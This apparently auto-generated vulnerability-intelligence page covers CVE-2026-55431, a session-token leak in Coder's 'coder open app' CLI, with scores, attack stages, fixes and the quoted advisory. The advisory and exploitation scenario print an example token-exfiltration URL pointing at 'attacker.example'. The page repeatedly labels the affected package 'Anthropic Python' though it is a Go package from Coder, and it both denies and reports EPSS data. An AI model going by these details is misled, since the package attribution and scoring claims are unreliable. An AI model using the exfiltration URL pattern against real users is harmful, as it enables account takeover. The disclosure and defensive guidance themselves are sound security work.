CVE-2026-55431: Anthropic Python session token leak

Q: Is CVE-2026-55431 actively exploited?

No confirmed active exploitation of CVE-2026-55431 has been reported, but organizations should still patch proactively.

Q: How to fix CVE-2026-55431?

Patch immediately to the fixed release for your line: v2.34.2 (2.34.x), v2.33.8 (2.33.x), v2.32.7 (2.32.x), or v2.29.17 for the 2.29 ESR line — all backport the URL-scheme allowlist and restrict `$SESSION_TOKEN` substitution to trusted destinations. Until patched, avoid running `coder open app` against workspaces built from templates you don't fully trust, and restrict who can author/modify workspace templates to a vetted, access-controlled group. Audit existing template definitions for external app URLs containing the literal `$SESSION_TOKEN` placeholder pointed at non-Coder domains — that's the concrete indicator of malicious intent. After patching, rotate session tokens for any user who may have already run `coder open app` against a suspect template, and add template-change review/approval to your CI/CD or GitOps pipeline for Coder templates going forward.

Q: What systems are affected by CVE-2026-55431?

This vulnerability affects the following AI/ML architecture patterns: agent frameworks, AI development workspaces / dev tooling, CI/CD and MLOps pipelines.

Q: What is the CVSS score for CVE-2026-55431?

CVE-2026-55431 has a CVSS v3.1 base score of 7.7 (HIGH). The EPSS exploitation probability is 0.34%.

CISO Take

A CLI vulnerability in Coder's `coder open app` command lets a malicious workspace template define an external app URL embedding the `$SESSION_TOKEN` placeholder, which the CLI silently substitutes with the user's real session token before handing the URL to the OS — handing full account impersonation to whoever controls that URL. This isn't remotely exploitable at scale (CVSS 7.7, AC:H/UI:R): it requires an attacker who can author or tamper with a workspace template the victim actually opens, which puts insider threats and template supply-chain compromise squarely in scope for any org that lets multiple people or external contributors author Coder templates for AI agent dev environments. There's no EPSS data, it's not in CISA KEV, and no public exploit or Nuclei template exists yet, so this reads as low near-term mass-exploitation risk but high-severity if your template pipeline isn't tightly access-controlled. Coder ships fixes across all supported lines — patch to v2.34.2, v2.33.8, v2.32.7, or the 2.29.17 ESR — and until then avoid running `coder open app` against any workspace whose template you don't fully trust. Audit existing templates now for external app URLs containing `$SESSION_TOKEN` pointed at non-Coder domains, since that's the concrete indicator of compromise.

Sources: NVD GitHub Advisory CISA KEV ATLAS

What is the risk?

High-severity but narrow-exploitability issue. CVSS 3.1 base score 7.7 (AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:N) reflects severe confidentiality/integrity impact (full session-token theft enabling account takeover) offset by high attack complexity and required user interaction — an attacker needs template-authoring capability plus the victim voluntarily running `coder open app` against that specific workspace. EPSS is unavailable, the CVE is not in CISA KEV, and no public exploit code or Nuclei template exists, indicating no evidence of active or imminent mass exploitation. Real-world risk concentrates in organizations with loosely governed template authoring (shared/community templates, external contributors, or compromised CI feeding template repos) rather than opportunistic internet-wide attackers. Downstream exposure is large in absolute terms (5,435 dependents on github.com/coder/coder/v2), but only deployments that let untrusted parties define workspace templates are meaningfully at risk.

How does the attack unfold?

Malicious template authorship

An attacker with workspace-template authoring access (insider or compromised/malicious contributor) defines an external app URL embedding the `$SESSION_TOKEN` placeholder pointing to an attacker-controlled domain.

AML.T0010.001

User interaction

A victim developer runs `coder open app` against the workspace built from the compromised template, triggering the CLI's unsanitized URL-open flow.

AML.T0011.003

Token exfiltration

The CLI substitutes the user's real session token into the URL and hands it to the OS open handler, sending the token to the attacker's server.

AML.T0091.000

Account impersonation

The attacker uses the stolen token to impersonate the victim, accessing their Coder workspaces and any secrets or AI agent credentials within them for the token's lifetime.

AML.T0012

Malicious template authorship

An attacker with workspace-template authoring access (insider or compromised/malicious contributor) defines an external app URL embedding the `$SESSION_TOKEN` placeholder pointing to an attacker-controlled domain.

AML.T0010.001

User interaction

A victim developer runs `coder open app` against the workspace built from the compromised template, triggering the CLI's unsanitized URL-open flow.

AML.T0011.003

Token exfiltration

The CLI substitutes the user's real session token into the URL and hands it to the OS open handler, sending the token to the attacker's server.

AML.T0091.000

Account impersonation

The attacker uses the stolen token to impersonate the victim, accessing their Coder workspaces and any secrets or AI agent credentials within them for the token's lifetime.

AML.T0012

What systems are affected?

Package	Ecosystem	Vulnerable Range	Patched
Anthropic Python	go	>= 2.34.0, < 2.34.2	`2.34.2`
3.8K 5.2K dependents Pushed 4d ago 90% patched ~11d to patch Full package profile →

Do you use Anthropic Python? You're affected.

How severe is it?

CVSS 3.1

7.7 / 10

EPSS

0.3%

chance of exploitation in 30 days

Higher than 26% of all CVEs

Source: EPSS v3 — FIRST.org

Exploitation Status

No known exploitation

Sophistication

Moderate

What is the attack surface?

AV Network

AC High

PR Low

UI Required

S Changed

C High

I High

A None

What should I do?

1 step

Patch immediately to the fixed release for your line: v2.34.2 (2.34.x), v2.33.8 (2.33.x), v2.32.7 (2.32.x), or v2.29.17 for the 2.29 ESR line — all backport the URL-scheme allowlist and restrict $SESSION_TOKEN substitution to trusted destinations. Until patched, avoid running coder open app against workspaces built from templates you don't fully trust, and restrict who can author/modify workspace templates to a vetted, access-controlled group. Audit existing template definitions for external app URLs containing the literal $SESSION_TOKEN placeholder pointed at non-Coder domains — that's the concrete indicator of malicious intent. After patching, rotate session tokens for any user who may have already run coder open app against a suspect template, and add template-change review/approval to your CI/CD or GitOps pipeline for Coder templates going forward.

What does CISA's SSVC say?

Decision Track

Exploitation none

Automatable No

Technical Impact total

Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.

How is it classified?

Auth Bypass Data Leakage Supply Chain Agent Plugin AML.T0010.001 - AI Software AML.T0011.003 - Malicious Link AML.T0012 - Valid Accounts AML.T0091.000 - Application Access Token

Which compliance frameworks are affected?

This CVE is relevant to:

EU AI Act

Article 15 - Accuracy, robustness and cybersecurity

ISO 42001

A.10 - Third-party and supplier relationships

NIST AI RMF

GOVERN 6.1 - Policies and procedures address AI risks from third-party software and components

Frequently Asked Questions

What is CVE-2026-55431?

A CLI vulnerability in Coder's `coder open app` command lets a malicious workspace template define an external app URL embedding the `$SESSION_TOKEN` placeholder, which the CLI silently substitutes with the user's real session token before handing the URL to the OS — handing full account impersonation to whoever controls that URL. This isn't remotely exploitable at scale (CVSS 7.7, AC:H/UI:R): it requires an attacker who can author or tamper with a workspace template the victim actually opens, which puts insider threats and template supply-chain compromise squarely in scope for any org that lets multiple people or external contributors author Coder templates for AI agent dev environments. There's no EPSS data, it's not in CISA KEV, and no public exploit or Nuclei template exists yet, so this reads as low near-term mass-exploitation risk but high-severity if your template pipeline isn't tightly access-controlled. Coder ships fixes across all supported lines — patch to v2.34.2, v2.33.8, v2.32.7, or the 2.29.17 ESR — and until then avoid running `coder open app` against any workspace whose template you don't fully trust. Audit existing templates now for external app URLs containing `$SESSION_TOKEN` pointed at non-Coder domains, since that's the concrete indicator of compromise.

Is CVE-2026-55431 actively exploited?

No confirmed active exploitation of CVE-2026-55431 has been reported, but organizations should still patch proactively.

How to fix CVE-2026-55431?

Patch immediately to the fixed release for your line: v2.34.2 (2.34.x), v2.33.8 (2.33.x), v2.32.7 (2.32.x), or v2.29.17 for the 2.29 ESR line — all backport the URL-scheme allowlist and restrict `$SESSION_TOKEN` substitution to trusted destinations. Until patched, avoid running `coder open app` against workspaces built from templates you don't fully trust, and restrict who can author/modify workspace templates to a vetted, access-controlled group. Audit existing template definitions for external app URLs containing the literal `$SESSION_TOKEN` placeholder pointed at non-Coder domains — that's the concrete indicator of malicious intent. After patching, rotate session tokens for any user who may have already run `coder open app` against a suspect template, and add template-change review/approval to your CI/CD or GitOps pipeline for Coder templates going forward.

What systems are affected by CVE-2026-55431?

This vulnerability affects the following AI/ML architecture patterns: agent frameworks, AI development workspaces / dev tooling, CI/CD and MLOps pipelines.

What is the CVSS score for CVE-2026-55431?

CVE-2026-55431 has a CVSS v3.1 base score of 7.7 (HIGH). The EPSS exploitation probability is 0.34%.

What is the AI security impact?

Affected AI Architectures

agent frameworksAI development workspaces / dev toolingCI/CD and MLOps pipelines

MITRE ATLAS Techniques

AML.T0010.001 AI Software

AML.T0011.003 Malicious Link

AML.T0012 Valid Accounts

AML.T0091.000 Application Access Token

Compliance Controls Affected

EU AI Act: Article 15

ISO 42001: A.10

NIST AI RMF: GOVERN 6.1

What are the technical details?

Original Advisory

### Summary `coder open app` opens external workspace-app URLs without validating the scheme or host. When an external app URL contains the `$SESSION_TOKEN` placeholder the CLI replaces it with the user's real session token before handing the URL to the OS open handler. > **Note:** Practical exploitation requires the victim to run `coder open app` against a workspace whose external app definition the attacker controls. Only a malicious template author can control external app URLs. ### Impact Workspace code can register external apps with arbitrary URLs so an attacker who controls workspace contents can define a URL like `https://attacker.example/?t=$SESSION_TOKEN`. Running `coder open app` then sends the user's session token to the attacker and enables full account impersonation for the token's lifetime. The same path can invoke arbitrary local URI scheme handlers. Exploitation requires the user to run `coder open app` against a workspace that contains a malicious external app. ### Patches The fix applies a URL-scheme allowlist in the CLI and limits `$SESSION_TOKEN` substitution to trusted destinations like the web frontend. The fix was backported to all supported release lines: | Release line | Patched version | |---|---| | 2.34 | [v2.34.2](https://github.com/coder/coder/releases/tag/v2.34.2) | | 2.33 | [v2.33.8](https://github.com/coder/coder/releases/tag/v2.33.8) | | 2.32 | [v2.32.7](https://github.com/coder/coder/releases/tag/v2.32.7) | | 2.29 (ESR) | [v2.29.17](https://github.com/coder/coder/releases/tag/v2.29.17) | ### Workarounds Avoid running `coder open app` for untrusted workspaces. ### Resources - Fix: #26146 ### Credits Coder would like to thank Anthropic's Security Team (ANT-2026-22457) for independently disclosing this issue!

Exploitation Scenario

An attacker with template-authoring access — an insider, a compromised contributor account, or someone who slips a change into a shared/community template repo — adds an external app definition to a workspace template pointing to `https://attacker.example/?t=$SESSION_TOKEN`. A developer using Coder to run an AI-assisted dev workspace built from that template runs `coder open app` to launch the app; the CLI substitutes the user's real session token into the URL and passes it to the OS's default open handler, sending the token straight to the attacker's server without any scheme or host validation. The attacker now holds a valid session token and can impersonate the victim for the token's lifetime — accessing their Coder workspaces, any AI agent credentials or model API keys stored there, and proprietary code, all without triggering an authentication prompt.

Weaknesses (CWE)

CWE-522 Insufficiently Protected Credentials Primary CWE-601 URL Redirection to Untrusted Site ('Open Redirect') Primary CWE-522 Insufficiently Protected Credentials CWE-601 URL Redirection to Untrusted Site ('Open Redirect')

CWE-522 — Insufficiently Protected Credentials: The product transmits or stores authentication credentials, but it uses an insecure method that is susceptible to unauthorized interception and/or retrieval.

[Architecture and Design] Use an appropriate security mechanism to protect the credentials.
[Architecture and Design] Make appropriate use of cryptography to protect the credentials.

Source: MITRE CWE corpus.